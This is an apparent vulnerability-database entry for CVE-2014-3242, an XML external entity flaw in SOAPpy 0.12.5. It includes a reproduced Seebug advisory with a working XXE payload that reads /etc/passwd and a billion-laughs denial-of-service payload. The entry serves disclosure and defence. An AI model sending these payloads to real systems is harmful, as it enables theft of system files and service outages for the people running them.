Vulnerabilities > CVE-2014-3242 - Information Exposure vulnerability in Makina-Corpus Soappy 0.12.5

047910
CVSS 5.0 - MEDIUM
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
NONE
Availability impact
NONE
network
low complexity
makina-corpus
CWE-200

Summary

SOAPpy 0.12.5 allows remote attackers to read arbitrary files via a SOAP request containing an external entity declaration in conjunction with an entity reference, related to an XML External Entity (XXE) issue.

Vulnerable Configurations

Part Description Count
Application
Makina-Corpus
1

Common Weakness Enumeration (CWE)

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Subverting Environment Variable Values
    The attacker directly or indirectly modifies environment variables used by or controlling the target software. The attacker's goal is to cause the target software to deviate from its expected operation in a manner that benefits the attacker.
  • Footprinting
    An attacker engages in probing and exploration activity to identify constituents and properties of the target. Footprinting is a general term to describe a variety of information gathering techniques, often used by attackers in preparation for some attack. It consists of using tools to learn as much as possible about the composition, configuration, and security mechanisms of the targeted application, system or network. Information that might be collected during a footprinting effort could include open ports, applications and their versions, network topology, and similar information. While footprinting is not intended to be damaging (although certain activities, such as network scans, can sometimes cause disruptions to vulnerable applications inadvertently) it may often pave the way for more damaging attacks.
  • Exploiting Trust in Client (aka Make the Client Invisible)
    An attack of this type exploits a programs' vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by placing themselves in the communication channel between client and server such that communication directly to the server is possible where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.
  • Browser Fingerprinting
    An attacker carefully crafts small snippets of Java Script to efficiently detect the type of browser the potential victim is using. Many web-based attacks need prior knowledge of the web browser including the version of browser to ensure successful exploitation of a vulnerability. Having this knowledge allows an attacker to target the victim with attacks that specifically exploit known or zero day weaknesses in the type and version of the browser used by the victim. Automating this process via Java Script as a part of the same delivery system used to exploit the browser is considered more efficient as the attacker can supply a browser fingerprinting method and integrate it with exploit code, all contained in Java Script and in response to the same web page request by the browser.
  • Session Credential Falsification through Prediction
    This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.

Seebug

bulletinFamilyexploit
description0×01:Background SOAPpy provides tools for building SOAP clients and servers.The goal of the SOAPpy team is to provide a full featured SOAP library for Python that is very simple to use and that fully supports dynamic interaction between clients and servers. SOAPpy use sax.xml as SOAP parser to parse the xml request.Sax.xml also support of setting a handler for resolving entity.By tricking this feature,it'll lead to xxe attack or dtd dos attack. 0×02:Vulnerability details Affect version:0.12.5(currently the lastest version) Type:XXE Attack & Billion laughs attack 0×03:Reproduction I use a simplified echo soap server & client scenario to reproduce these vulnerabilities.The code below is echo soap server. 1 2 3 4 5 6 7 8 #!/usr/bin/env python # encoding:utf-8 from SOAPpy import SOAPServer def echo(s): return s # repeats a string twice server = SOAPServer(("0.0.0.0", 8080)) server.registerFunction(echo) server.serve_forever() And the client code: 1 2 3 4 5 6 #!/usr/bin/env python # coding:utf-8 from SOAPpy import SOAPProxy server = SOAPProxy("http://localhost:8080/") print server.echo("Hello world") Very simple at all but it's enough to illustrative the problem. As SOAPpy doesn't support WSDL very well,i have to generate the soap request manually.I use wireshark to capture packets transported between server and client. capture_soap_req.PNG I copy the packet printable to get a clear soap request. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 POST / HTTP/1.0 Host: localhost:8080 User-agent: SOAPpy 0.12.0 (pywebsvcs.sf.net) Content-type: text/xml; charset="UTF-8" Content-length: 484 SOAPAction: "echo" <?xml version="1.0" encoding="UTF-8"?> <SOAP-ENV:Envelope SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/1999/XMLSchema" > <SOAP-ENV:Body> <echo SOAP-ENC:root="1"> <v1 xsi:type="xsd:string">Hello world</v1> </echo> </SOAP-ENV:Body> </SOAP-ENV:Envelope> At this point,i can use the request proxy like Brup Suite to craft specified xml and replay the request. XXE attack poc: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE v1 [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <SOAP-ENV:Envelope SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/1999/XMLSchema" > <SOAP-ENV:Body> <echo SOAP-ENC:root="1"> <v1 xsi:type="xsd:string">&xxe;</v1> </echo> </SOAP-ENV:Body> </SOAP-ENV:Envelope> burp_demo_resp.PNG Billion laughs dos poc: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE v1 [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <SOAP-ENV:Envelope SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/1999/XMLSchema" > <SOAP-ENV:Body> <echo SOAP-ENC:root="1"> <v1 xsi:type="xsd:string">&lol9;</v1> </echo> </SOAP-ENV:Body> </SOAP-ENV:Envelope> Once send this soap request,the server resouce will exhaust very soon because of the recursion of parsing entities. CVE-2014-3242 SOAPpy 0.12.5 none
idSSV:62266
last seen2017-11-19
modified2014-06-04
published2014-06-04
reporterRoot
sourcehttps://www.seebug.org/vuldb/ssvid-62266
titleSOAPpy 0.12.5 多个漏洞